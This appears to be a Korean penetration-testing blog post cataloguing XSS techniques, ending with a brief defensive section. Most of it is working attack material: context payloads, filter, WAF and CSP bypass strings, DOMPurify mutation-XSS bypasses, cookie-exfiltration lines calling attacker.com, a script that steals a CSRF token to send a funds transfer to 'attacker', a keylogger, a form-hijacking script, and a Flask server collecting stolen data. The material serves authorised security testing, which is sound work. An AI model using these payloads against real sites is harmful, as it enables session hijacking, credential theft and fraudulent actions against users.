Intro

XSS(Cross-Site Scripting)는 정말 오래된 취약점인데, 진단을 나가면 거의 매번 어떤 형태로든 발견되는 것 같습니다. 특히 요즘은 SPA 환경이 많아져서 DOM Based XSS가 점점 늘어나는 느낌입니다.

<script>alert(1)</script> 한 줄로 끝나던 시대는 지났고, 대부분의 서비스는 기본적인 필터링이나 CSP 정도는 적용하고 있어서 실제로 터뜨리려면 우회 페이로드를 고민해야 하는 경우가 많습니다.

이 글에서는 XSS 종류별 차이점과 진단 시 자주 쓰는 우회 페이로드, 그리고 대응 방안에 대해 정리해두려고 합니다.

XSS 종류

종류 설명 저장 위치
Reflected 요청 파라미터가 응답에 그대로 반영 서버 X (URL/요청에 의존)
Stored 서버 DB에 저장된 페이로드가 다른 사용자에게 출력 서버 DB
DOM Based 서버 응답이 아닌 클라이언트 JS가 직접 DOM 조작 시 발생 클라이언트
Blind 즉시 반응이 안보이고, 관리자/다른 페이지에서 트리거 서버 DB (관리자 페이지 등)

🔥 진단 시에는 Stored > Blind > DOM > Reflected 순으로 임팩트가 크기 때문에 같은 취약점이라도 어디서 터지는지가 중요합니다.

Detect & Exploit

Detect

입력 → 출력 흐름 추적

가장 기본은 모든 입력 파라미터에 식별 가능한 문자열(g3rm1234)을 넣어보고 응답에 어떻게 반영되는지 보는 것입니다.

# 컨텍스트 파악용 페이로드
g3rm"'<>()=

위 페이로드를 넣어보면 응답에서 어떤 문자가 살아남고 어떤 문자가 인코딩/필터링 되는지 한 번에 볼 수 있습니다.

컨텍스트별 트리거 페이로드

입력값이 어디에 박히느냐에 따라 페이로드가 달라집니다.

# HTML 본문
<svg/onload=alert(1)>

# HTML Attribute (속성값 안)
" autofocus onfocus=alert(1) x="

# JS 문자열 안
';alert(1);//

# JS 템플릿 리터럴 안
${alert(1)}

# URL Attribute (href, src)
javascript:alert(1)

Exploit

Reflected XSS

검색창, 에러 페이지, 필터 결과 페이지 등 사용자 입력이 즉시 반영되는 곳에서 자주 발견됩니다.

# 검색 파라미터
https://victim.com/search?q=<svg/onload=alert(document.cookie)>

# 피해자에게 전달
https://victim.com/search?q=%3Csvg%2Fonload%3Dfetch(%60//attacker.com/%3Fc%3D%60%2Bdocument.cookie)%3E

Stored XSS

게시판, 댓글, 프로필, 채팅 등 DB에 저장되어 다른 사용자에게 노출되는 모든 곳이 대상입니다.

# 단순 쿠키 탈취
<script>new Image().src="https://attacker.com/?c="+document.cookie</script>

# fetch 기반 (CSP 우회 + 정확한 데이터 전송)
<script>fetch('https://attacker.com/log',{method:'POST',body:document.cookie})</script>

# HttpOnly 환경에서 세션 활용 (CSRF Style)
<script>fetch('/api/admin/users',{credentials:'include'}).then(r=>r.text()).then(d=>fetch('https://attacker.com/?d='+btoa(d)))</script>

☑️ HttpOnly가 걸려있어 쿠키 탈취가 안되더라도, 이미 인증된 세션으로 API를 호출해서 데이터를 빼오는 게 더 강력한 임팩트입니다.

DOM Based XSS

서버는 안전한데 클라이언트 JS에서 location.hash, document.referrer, postMessage 같은 값을 검증 없이 innerHTML, eval, document.write 등에 넣을 때 발생합니다.

# Source (공격자 제어 가능 입력)
location.hash, location.search, document.referrer, window.name, postMessage

# Sink (위험한 출력)
innerHTML, outerHTML, document.write, eval, setTimeout(string), Function()

# Payload 예시
https://victim.com/page#<img src=x onerror=alert(1)>
# 취약 코드 패턴
let user = location.hash.substring(1);
document.getElementById("welcome").innerHTML = "Hello, " + user;
#  URL: https://victim.com/#<img src=x onerror=alert(1)>

Blind XSS

관리자 페이지나 로그 뷰어 등 진단자가 직접 볼 수 없는 곳에서 트리거되는 케이스입니다. 문의 게시판, User-Agent, Referer 헤더 등에 자주 박습니다.

# XSS Hunter 스타일 페이로드 (자체 서버 운영 권장)
<script src="https://attacker.com/h.js"></script>

# h.js
new Image().src="https://attacker.com/log?u="+location.href+"&c="+document.cookie+"&h="+btoa(document.documentElement.innerHTML);

🔥 Blind XSS는 트리거 시점이 며칠 뒤일 수 있으니, 진단 PoC 서버는 진단 종료 후에도 일정 기간 유지해야 합니다.

Mutation XSS

브라우저는 HTML을 파싱할 때 유효하지 않은 마크업을 알아서 교정해주는 특성이 있습니다. 이 과정에서 sanitize 직후엔 안전했던 문자열이 DOM에 들어간 뒤 재파싱되면서 위험한 형태로 변형됩니다.

1. User Input  →  <div title="</div><img src=x onerror=alert(1)>">
2. Sanitize    →  <div title="</div><img src=x onerror=alert(1)>">  (속성값이라 안전)
3. innerHTML   →  브라우저가 재파싱
4. Result      →  <div title="</div"><img src="x" onerror="alert(1)"></div>
                  ↑ title이 닫히고 img 태그가 살아남음

🔥 핵심은 sanitize 결과를 다시 innerHTML에 넣는 순간 브라우저 파서가 한번 더 개입한다는 점입니다. Sanitizer가 가정한 파싱 결과와 브라우저가 실제로 파싱한 결과가 달라지는 데서 취약점이 발생합니다.

응답 헤더, 번들된 JS, package.json 노출 여부 등으로 어떤 sanitizer를 쓰는지 먼저 식별합니다.

# DOMPurify 식별
curl -s https://victim.com/main.js | grep -oP 'DOMPurify[\.\w]*'
curl -s https://victim.com/main.js | grep -oP 'isSupported|sanitize|setConfig'

# 버전 식별 (소스맵 노출 시)
curl -s https://victim.com/main.js.map | grep -oP 'dompurify[/-][\d\.]+'

☑️ 버전 식별이 중요한 이유는 mXSS는 버전별 CVE가 다 다르기 때문입니다. 2.x와 3.x는 우회 페이로드가 완전히 다릅니다.

Payload

0. Context Detection

진단 첫 단계에서 컨텍스트 파악용 페이로드입니다.

# Universal probe
g3rm"'<>()=`{}

# 응답 분석
< → &lt;        : HTML Entity Encoding 적용
< → \u003c      : JS String Encoding 적용  
< → %3C         : URL Encoding 적용
< → 그대로 출력  : 인코딩 없음 (대부분 트리거 가능)
" → 그대로 출력  : Attribute 컨텍스트에서 위험

1. HTML Body Context

기본 태그가 그대로 들어가는 경우입니다.

<!-- 기본 -->
<script>alert(1)</script>
<script>alert(document.domain)</script>
<script>alert(document.cookie)</script>

<!-- script 차단 시 -->
<svg/onload=alert(1)>
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
<img src=x onerror="alert(1)">
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
<iframe srcdoc="<script>alert(1)</script>">

<!-- 사용자 인터랙션 필요 (덜 깐깐한 필터 우회) -->
<details open ontoggle=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<marquee onstart=alert(1)>

<!-- 최신 브라우저 호환 -->
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<svg><set onbegin=alert(1) attributeName=x to=1>
<form id=x><button form=x formaction=javascript:alert(1)>X

2. HTML Attribute Context

<input value="HERE"> 처럼 속성값 안에 들어가는 경우입니다.

<!-- 따옴표 탈출 가능 -->
" onfocus=alert(1) autofocus x="
" onmouseover=alert(1) x="
" onerror=alert(1) src=x x="

<!-- 따옴표 탈출 불가 (event handler 추가만) -->
 onfocus=alert(1) autofocus 
 onclick=alert(1) 

<!-- href, src, action 등 URL Attribute -->
javascript:alert(1)
javascript&#58;alert(1)
java%0ascript:alert(1)
java%09script:alert(1)
JaVaScRiPt:alert(1)
data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

3. JavaScript Context

<script>var x = "HERE";</script> 처럼 JS 코드 안에 들어가는 경우입니다.

// 문자열 탈출
';alert(1);//
";alert(1);//
\';alert(1);//

// 템플릿 리터럴 안
${alert(1)}
${alert`1`}

// 주석 안
*/alert(1)/*
*/alert(1);//

// JSON 컨텍스트
\";alert(1);//
</script><script>alert(1)</script>

4. URL Context (location.href 등)

javascript:alert(1)
javascript:alert(1)//
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

5. CSS Context

/* style 속성 안 */
expression(alert(1))    /* IE only - 거의 안됨 */
background:url("javascript:alert(1)")   /* 구버전 */
}*/alert(1)/*{

Bypass Payload

필터링 우회

# <script> 차단 시
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<input autofocus onfocus=alert(1)>
<marquee onstart=alert(1)>

# alert 차단 시
<svg/onload=confirm(1)>
<svg/onload=prompt(1)>
<svg/onload=eval(atob('YWxlcnQoMSk='))>     # base64: alert(1)

# 괄호 차단 시
<svg/onload=alert`1`>                         # 백틱(태그드 템플릿 리터럴)
<svg/onload=alert&#40;1&#41;>                 # HTML Entity

# 공백 차단 시
<svg/onload=alert(1)>                         # / 로 대체
<svg%0Aonload=alert(1)>                       # 개행문자
<svg%09onload=alert(1)>                       # Tab

<!-- 대소문자 -->
<ScRiPt>alert(1)</sCrIpT>
<SVG/onload=alert(1)>

<!-- 공백 변형 -->
<svg/onload=alert(1)>
<svg%09onload=alert(1)>
<svg%0Aonload=alert(1)>
<svg%0Donload=alert(1)>
<svg%00onload=alert(1)>

<!-- 이중 인코딩 -->
%253Cscript%253Ealert(1)%253C%252Fscript%253E

<!-- HTML Entity -->
&lt;script&gt;alert(1)&lt;/script&gt;
&#60;script&#62;alert(1)&#60;/script&#62;
&#x3c;script&#x3e;alert(1)&#x3c;/script&#x3e;

<!-- 폐쇄 우회 -->
<<script>alert(1);//<</script>
<scr<script>ipt>alert(1)</scr</script>ipt>

Attribute Injection

# 따옴표가 막혀있을 때 (인코딩 활용)
<a href="javascript:alert&#40;1&#41;">click</a>
<a href="javas&#9;cript:alert(1)">click</a>      # Tab 삽입

# event handler 활용
" onmouseover=alert(1) x="
" onfocus=alert(1) autofocus x="

Keyword 필터 우회 (alert, document 등)

// 문자열 분리
window["al"+"ert"](1)
window["\x61\x6c\x65\x72\x74"](1)

// eval + base64
eval(atob('YWxlcnQoMSk='))
Function('alert(1)')()
setTimeout('alert(1)',0)
setInterval('alert(1)',0)

// document 우회
top["doc"+"ument"]["coo"+"kie"]
self['document']['cookie']
parent['document']

// 백틱 활용 (괄호 차단 시)
alert`1`
alert`${document.cookie}`

// 유니코드 이스케이프
\u0061\u006c\u0065\u0072\u0074(1)

// HTML Entity in Attribute
<a href="javascript&colon;alert&lpar;1&rpar;">click</a>

WAF 우회 (Cloudflare, Akamai, AWS WAF)

<!-- 일반적으로 잘 통과되는 페이로드 -->
<svg><animatetransform onbegin=alert(1)>
<svg><animate onbegin=alert(1) attributeName=x>
<svg><set onbegin=alert(1)>
<svg><discard onbegin=alert(1)>

<!-- HTML5 신규 태그 -->
<dialog open onclose=alert(1)>X</dialog>
<details open ontoggle=alert(1)>

<!-- 잘 안 거르는 이벤트 핸들러 -->
<a onpointerenter=alert(1)>X</a>
<a onpointerover=alert(1)>X</a>
<input onbeforeinput=alert(1)>
<input oninput=alert(1)>

<!-- Polyglot (어디 박혀도 동작) -->
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

CSP 우회

CSP Bypass 글 참조

가장 자주 만나는 시나리오를 정리해두겠습니다.

# 1. unsafe-inline 미적용 + 외부 스크립트 허용 도메인 존재
Content-Security-Policy: script-src 'self' https://www.google.com

# → JSONP endpoint 활용
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1)"></script>
# 2. nonce 기반 CSP에서 dangling markup
# nonce가 있어도 기존 nonce 가진 script 태그를 재활용 가능한 경우
<script nonce="...">/* 기존 코드 */</script>

# → DOM Clobbering, Mutation XSS 등 활용
# 3. base-uri 미설정
<base href="https://attacker.com/">
# → 이후 상대경로로 로드되는 모든 리소스가 공격자 도메인에서 로드됨
<!-- script-src 'self' + 외부 도메인 허용 -->
<!-- google.com이 허용된 경우 (JSONP) -->
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1)"></script>

<!-- script-src 'self' + AngularJS 호스팅 -->
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js"></script>
<div ng-app ng-csp></div>

<!-- nonce 기반 + dangling markup -->
<base href="https://attacker.com/">
<!-- 이후 모든 상대경로 리소스가 attacker.com에서 로드됨 -->

<!-- script-src 'unsafe-eval' 허용 시 -->
<script>eval('alert(1)')</script>
<script>Function('alert(1)')()</script>

<!-- script-src 'unsafe-inline' 허용 시 -->
<!-- 그냥 inline script 다 됨 -->

<!-- object-src 미설정 시 -->
<object data="data:text/html,<script>alert(1)</script>"></object>
<embed src="data:text/html,<script>alert(1)</script>">
# 빠른 CSP 헤더 확인
curl -sI https://victim.com | grep -i content-security-policy

# 결과를 https://csp-evaluator.withgoogle.com/ 에 붙여넣으면
# 우회 가능 여부와 추천 페이로드 방향 자동 분석

☑️ CSP 진단 시에는 CSP Evaluator 가 빠르게 약점 파악할 수 있어서 자주 씁니다.

HttpOnly 우회 (세션 활용)

// 인증된 세션으로 API 호출 후 데이터 빼오기
<script>
fetch('/api/admin/users',{credentials:'include'})
  .then(r=>r.text())
  .then(d=>fetch('https://attacker.com/?d='+btoa(d)))
</script>

// CSRF Token까지 탈취해서 실제 액션 수행
<script>
fetch('/profile',{credentials:'include'})
  .then(r=>r.text())
  .then(html=>{
    const token = html.match(/name="csrf" value="([^"]+)"/)[1];
    fetch('/api/transfer',{
      method:'POST',
      credentials:'include',
      headers:{'Content-Type':'application/x-www-form-urlencoded'},
      body:`amount=10000&to=attacker&csrf=${token}`
    });
  });
</script>

Polyglot Payloads

어떤 컨텍스트에 들어가도 동작하는 만능 페이로드입니다.

javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//

☑️ Polyglot은 검증용으론 좋지만, 실제 익스플로잇 시점엔 컨텍스트 파악 후 가벼운 페이로드 쓰는 게 안정적입니다.

Mutation XSS (mXSS)

DOMPurify같은 sanitizer가 1차 처리한 후 브라우저가 DOM 파싱 과정에서 다시 변형하면서 페이로드가 살아나는 경우입니다.

# 입력
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

# Sanitize 후 innerHTML 재할당 시 브라우저가 재파싱하면서 트리거

# 기본 mutation 테스트 페이로드
<form><math><mtext></form><form><mglyph><style></math><img src onerror=alert(1)>

# 응답에서 어떻게 변형되는지 확인
CVE-2020-26870 (DOMPurify < 2.0.17)

<style> 태그 안의 mutation을 이용한 우회입니다.

<svg></p><style><a id="</style><img src=x onerror=alert(1)>">

파싱 흐름은 아래와 같습니다.

[Sanitize 시점]
<svg> 안에서 <style>은 foreign content로 텍스트 처리 → 안전 판단

[innerHTML 재할당 시점]
<svg> 컨텍스트가 깨지면서 <style>이 일반 HTML로 재파싱
→ </style> 태그 종료 후 <img onerror> 실행
CVE-2024-45801 (DOMPurify < 3.1.3)

Node 잔재(node residue)를 이용한 우회 케이스입니다.

<math><mtext><table><mglyph><style><img src=x onerror=alert(1)></style>
[Sanitize 시점]
math/mtext namespace에서 정제 → 안전 판단

[Mutation 시점]
<table>이 mtext 밖으로 튀어나가면서 namespace 컨텍스트 변경
→ <style> 내부 페이로드가 HTML로 재해석

🔥 namespace 전환(SVG/MathML ↔ HTML)이 mXSS의 단골 지점입니다. 진단 시 svg/math 태그 안에 페이로드를 한 번씩 넣어보는 걸 추천합니다.

Server-Client Sanitizer 불일치
# Server Sanitizer (Bleach 등)는 통과
# Client에서 innerHTML 시점에 mutation
<a href="javascript&#x6a;:alert(1)">click</a>
<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>click</text></a></svg>

서버와 클라이언트가 서로 다른 sanitizer를 쓰는 경우, 두 라이브러리의 파싱 차이를 이용할 수 있습니다.

Markdown → HTML 변환 케이스
# marked.js + DOMPurify 조합 시
[click](javascript&#x3A;alert(1))

# 마크다운 파서가 entity decode 후 href에 넣고
# DOMPurify가 검증할 땐 이미 디코딩된 상태에서 검증되지 않으면 우회

PoC

진단 보고서용으로 자주 쓰는 가벼운 PoC 서버 코드입니다.

# Python 3.11 / Flask 3.0.0
# pip install flask==3.0.0
import logging
from datetime import datetime
from flask import Flask, request

logging.basicConfig(level=logging.INFO, format='[%(asctime)s] %(message)s')
app = Flask(__name__)

@app.route('/log', methods=['GET', 'POST'])
def log():
    data = request.args.to_dict() if request.method == 'GET' else request.get_json(silent=True) or request.form.to_dict()
    ip = request.headers.get('X-Forwarded-For', request.remote_addr)
    ua = request.headers.get('User-Agent', '')
    logging.info(f"[XSS-HIT] ip={ip} ua={ua} data={data}")
    with open('xss_hits.log', 'a') as f:
        f.write(f"{datetime.now().isoformat()}\t{ip}\t{ua}\t{data}\n")
    return '', 204

if __name__ == '__main__':
    # 진단 환경에서만 사용. RoE 범위 외 사용 금지.
    app.run(host='0.0.0.0', port=8080)
// 실행
python xss_server.py

// 페이로드
<script>fetch('https://attacker.com/log?c='+document.cookie)</script>

// Image 기반 (간단)
<script>new Image().src="https://attacker.com/?c="+document.cookie</script>

// fetch 기반 (POST로 큰 데이터 전송 가능)
<script>fetch('https://attacker.com/log',{method:'POST',body:document.cookie})</script>

// XHR 기반 (구식이지만 호환성 좋음)
<script>var x=new XMLHttpRequest();x.open('GET','https://attacker.com/?c='+document.cookie);x.send()</script>

// Beacon API (페이지 이동 시에도 안정적 전송)
<script>navigator.sendBeacon('https://attacker.com/log',document.cookie)</script>

키로거 (Form Hijacking)

<script>
document.addEventListener('keydown', e => {
    fetch('https://attacker.com/k?k=' + e.key);
});
</script>

// 폼 제출 가로채기
<script>
document.querySelectorAll('form').forEach(f => {
    f.addEventListener('submit', e => {
        const data = new FormData(f);
        const obj = {};
        data.forEach((v,k) => obj[k]=v);
        fetch('https://attacker.com/form', {
            method:'POST',
            body: JSON.stringify(obj)
        });
    });
});
</script>

추천 도구

도구 용도
Burp Suite Intruder 수동 fuzzing, payload 위치 정밀 제어
Dalfox 자동 XSS 스캐너 (parameter mining + payload generation)
XSStrike DOM 분석 + WAF 탐지 + 컨텍스트 분석
KNOXSS 상용, 임팩트 있는 payload 자동 생성
ParamSpider 파라미터 수집용 (XSS 시작점)
kxss Reflected XSS 후보 빠르게 스크리닝
# Dalfox 기본 사용
dalfox url https://victim.com/search?q=test

# XSStrike
python xsstrike.py -u "https://victim.com/search?q=test" --crawl

# kxss + waybackurls 콤보 (recon → reflected 후보 추출)
echo "victim.com" | waybackurls | gf xss | kxss

Security Measures

1. Output Encoding (가장 중요)

입력값을 어디에 출력하느냐에 따라 인코딩 방식이 다릅니다.

컨텍스트 인코딩 방식
HTML Body HTML Entity Encoding (&lt;, &gt;, &amp;)
HTML Attribute HTML Attribute Encoding (모든 non-alphanumeric → &#xHH;)
JavaScript JS Unicode Encoding (\uXXXX)
URL URL Encoding (%HH)
CSS CSS Hex Encoding (\HH)

🔥 입력값 검증(Input Validation)은 보조 수단이고, 출력 시점의 인코딩(Output Encoding)이 본질입니다. 입력 시점에 막으려고 하면 어디선가 우회됩니다.

2. CSP (Content Security Policy)

# 권장 헤더 예시 (nonce 기반)
Content-Security-Policy: 
  default-src 'self';
  script-src 'self' 'nonce-{RANDOM}' 'strict-dynamic';
  object-src 'none';
  base-uri 'none';
  frame-ancestors 'none';
  • unsafe-inline, unsafe-eval 절대 금지
  • 'strict-dynamic' + nonce 조합이 현재 가장 권장되는 방식
  • base-uri 'none' 으로 base 태그 인젝션 차단
Set-Cookie: SESSIONID=xxx; HttpOnly; Secure; SameSite=Strict
  • HttpOnly: JS에서 document.cookie로 접근 차단
  • SameSite=Strict: CSRF 동시 방어

4. Sanitizer 라이브러리

직접 필터 짜지 말고 검증된 라이브러리 사용하면 됩니다.

  • DOMPurify (JS, 클라이언트사이드)
  • OWASP Java Encoder (Java)
  • Bleach (Python)
  • HtmlSanitizer (.NET)

☑️ 단, sanitizer 사용 후에도 결과를 innerHTML이 아닌 textContent로 넣을 수 있는 컨텍스트라면 그게 더 안전합니다.

References